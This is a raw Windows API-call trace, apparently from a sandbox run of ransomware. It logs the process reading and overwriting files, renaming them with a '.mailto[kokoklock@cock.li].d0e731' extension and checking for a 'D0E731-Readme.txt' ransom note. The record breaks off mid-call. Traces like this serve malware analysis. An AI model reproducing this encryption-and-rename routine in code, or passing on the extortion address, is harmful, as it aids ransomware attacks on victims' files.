RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0166.199] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0166.199] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe42d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x93ef828, lpOverlapped=0x0 | out: lpBuffer=0x2fe42d0*, lpNumberOfBytesWritten=0x93ef828*=0x8, lpOverlapped=0x0) returned 1 [0166.199] WriteFile (in: hFile=0x52c, lpBuffer=0x93ef840*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x93ef828, lpOverlapped=0x0 | out: lpBuffer=0x93ef840*, lpNumberOfBytesWritten=0x93ef828*=0x4, lpOverlapped=0x0) returned 1 [0166.199] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x93ef828, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x93ef828*=0x4, lpOverlapped=0x0) returned 1 [0166.199] WriteFile (in: hFile=0x52c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x93ef828, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x93ef828*=0x6c, lpOverlapped=0x0) returned 1 [0166.200] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe41e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x93ef828, lpOverlapped=0x0 | out: lpBuffer=0x2fe41e0*, lpNumberOfBytesWritten=0x93ef828*=0x20, lpOverlapped=0x0) returned 1 [0166.200] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x93ef828, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x93ef828*=0x4, lpOverlapped=0x0) returned 1 [0166.200] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0166.200] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4320) returned 1 [0166.200] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe42d0) returned 1 [0166.200] CloseHandle (hObject=0x52c) returned 1 [0166.200] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.200] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.200] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.200] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.201] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.201] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.201] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.201] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.201] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\2052\\" | out: _Dest="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\" [0166.201] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\2052\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\2052\\D0E731-Readme.txt" [0166.201] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\2052\\d0e731-readme.txt")) returned 0x20 [0166.202] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.202] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4f70) returned 1 [0166.202] RtlExitUserThread (Status=0x1) Thread: id = 1609 os_tid = 0x618 [0166.203] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.203] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.204] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0166.204] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x946f9b0 | out: lpFileSize=0x946f9b0*=60876) returned 1 [0166.204] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0xedc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.204] ReadFile (in: hFile=0x52c, lpBuffer=0x946f984, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x946f980, lpOverlapped=0x0 | out: lpBuffer=0x946f984*, lpNumberOfBytesRead=0x946f980*=0x4, lpOverlapped=0x0) returned 1 [0166.205] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.205] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.205] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0166.205] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe42d0 [0166.205] NtQuerySystemTime (in: CurrentTime=0x946f95c | out: CurrentTime=0x946f95c*=132121213235167038) returned 0x0 [0166.205] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0xfedf7bd2 [0166.205] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0xd8d2088d [0166.205] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x60ffd696 [0166.205] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0xed377891 [0166.205] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x2f6020e [0166.205] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x1597b938 [0166.205] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x1cdc6714 [0166.205] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0xa1af6e67 [0166.205] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0xc555536a [0166.205] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x10de6e0b [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x4e0f57e9 [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0xa2ba1ed6 [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x99630ae7 [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x35768091 [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0xa5b0c358 [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x7cfe11c [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x16011be7 [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x8092e655 [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x521c5161 [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0xe1468b84 [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x47344c5e [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x9a7ed219 [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0xf8febeab [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x4db3cc8c [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x3825a51c [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x4b34af0a [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0xc45803f6 [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x37aa1f41 [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0xd791b8a8 [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x634e2e00 [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0xb4f0cc40 [0166.206] RtlRandom (in: Seed=0x946f968 | out: Seed=0x946f968) returned 0x241126ac [0166.215] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4320 [0166.217] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.217] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe42f8 [0166.217] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.217] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.217] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0166.217] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.217] ReadFile (in: hFile=0x52c, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x946f934, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x946f934*=0x4096, lpOverlapped=0x0) returned 1 [0166.218] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.218] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0166.218] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0166.218] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4348 [0166.218] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4348) returned 1 [0166.218] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0166.219] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.219] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4460 [0166.219] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4460) returned 1 [0166.219] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0166.219] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0166.219] WriteFile (in: hFile=0x52c, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x946f934, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x946f934*=0x4096, lpOverlapped=0x0) returned 1 [0166.219] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0166.219] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0xedcc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.219] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe4050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x946f96c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4050*, lpNumberOfBytesWritten=0x946f96c*=0x20, lpOverlapped=0x0) returned 1 [0166.219] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.219] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0166.219] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe42f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x946f980, lpOverlapped=0x0 | out: lpBuffer=0x2fe42f8*, lpNumberOfBytesWritten=0x946f980*=0x8, lpOverlapped=0x0) returned 1 [0166.219] WriteFile (in: hFile=0x52c, lpBuffer=0x946f998*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x946f980, lpOverlapped=0x0 | out: lpBuffer=0x946f998*, lpNumberOfBytesWritten=0x946f980*=0x4, lpOverlapped=0x0) returned 1 [0166.220] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x946f980, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x946f980*=0x4, lpOverlapped=0x0) returned 1 [0166.220] WriteFile (in: hFile=0x52c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x946f980, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x946f980*=0x6c, lpOverlapped=0x0) returned 1 [0166.220] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe41e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x946f980, lpOverlapped=0x0 | out: lpBuffer=0x2fe41e0*, lpNumberOfBytesWritten=0x946f980*=0x20, lpOverlapped=0x0) returned 1 [0166.220] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x946f980, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x946f980*=0x4, lpOverlapped=0x0) returned 1 [0166.220] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0166.220] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4320) returned 1 [0166.220] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe42f8) returned 1 [0166.220] CloseHandle (hObject=0x52c) returned 1 [0166.220] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.220] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.220] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.220] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.221] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.221] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.221] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.222] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.222] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\2052\\" | out: _Dest="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\" [0166.222] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\2052\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\2052\\D0E731-Readme.txt" [0166.222] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\2052\\d0e731-readme.txt")) returned 0x20 [0166.222] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.222] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d800) returned 1 [0166.222] RtlExitUserThread (Status=0x1) Thread: id = 1610 os_tid = 0x9b4 [0166.227] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.229] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.229] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0166.229] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x94efe8c | out: lpFileSize=0x94efe8c*=4051) returned 1 [0166.229] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0xfcf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.229] ReadFile (in: hFile=0x52c, lpBuffer=0x94efe60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x94efe5c, lpOverlapped=0x0 | out: lpBuffer=0x94efe60*, lpNumberOfBytesRead=0x94efe5c*=0x4, lpOverlapped=0x0) returned 1 [0166.231] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0166.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe42f8 [0166.231] NtQuerySystemTime (in: CurrentTime=0x94efe38 | out: CurrentTime=0x94efe38*=132121213235500748) returned 0x0 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0xf1d6980e [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x7edd39fa [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x56eb66f8 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0xe9d6e300 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0xd55bb7fd [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x12bf3aca [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x2f06f31b [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0xd971a00b [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x906d252d [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x979f9347 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0xfed07b43 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x9d396c16 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0xbbb3c59 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x3fe096d9 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0xba746784 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x9062fc70 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x66a7a681 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0xe5316791 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0xd0bc76ec [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x1bcbb320 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x325ab2dc [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x6be4622d [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x7f58853c [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x334464b9 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0xe1674cd2 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0xeab313d4 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x4e4cb989 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x521df16f [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x50b25dc5 [0166.231] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0xfc8c661c [0166.232] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x3a336f5 [0166.232] RtlRandom (in: Seed=0x94efe44 | out: Seed=0x94efe44) returned 0x91594dcb [0166.240] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4320 [0166.242] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.242] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4348 [0166.242] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.242] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.242] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0166.242] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0166.242] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0166.242] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0166.242] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0166.242] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0166.243] ReadFile (in: hFile=0x52c, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0xfd3, lpNumberOfBytesRead=0x94efe38, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x94efe38*=0xfd3, lpOverlapped=0x0) returned 1 [0166.243] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x94efe00 | out: lpNewFilePointer=0x0) returned 1 [0166.243] WriteFile (in: hFile=0x52c, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0xfd3, lpNumberOfBytesWritten=0x94efe34, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x94efe34*=0xfd3, lpOverlapped=0x0) returned 1 [0166.243] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.243] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4460 [0166.243] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4460) returned 1 [0166.243] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe4050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x94efe30, lpOverlapped=0x0 | out: lpBuffer=0x2fe4050*, lpNumberOfBytesWritten=0x94efe30*=0x20, lpOverlapped=0x0) returned 1 [0166.243] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.243] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0166.243] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0166.243] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0166.243] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0166.243] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe4348*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x94efe5c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4348*, lpNumberOfBytesWritten=0x94efe5c*=0x8, lpOverlapped=0x0) returned 1 [0166.244] WriteFile (in: hFile=0x52c, lpBuffer=0x94efe74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x94efe5c, lpOverlapped=0x0 | out: lpBuffer=0x94efe74*, lpNumberOfBytesWritten=0x94efe5c*=0x4, lpOverlapped=0x0) returned 1 [0166.244] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x94efe5c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x94efe5c*=0x4, lpOverlapped=0x0) returned 1 [0166.244] WriteFile (in: hFile=0x52c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x94efe5c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x94efe5c*=0x6c, lpOverlapped=0x0) returned 1 [0166.245] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe41e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x94efe5c, lpOverlapped=0x0 | out: lpBuffer=0x2fe41e0*, lpNumberOfBytesWritten=0x94efe5c*=0x20, lpOverlapped=0x0) returned 1 [0166.245] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, 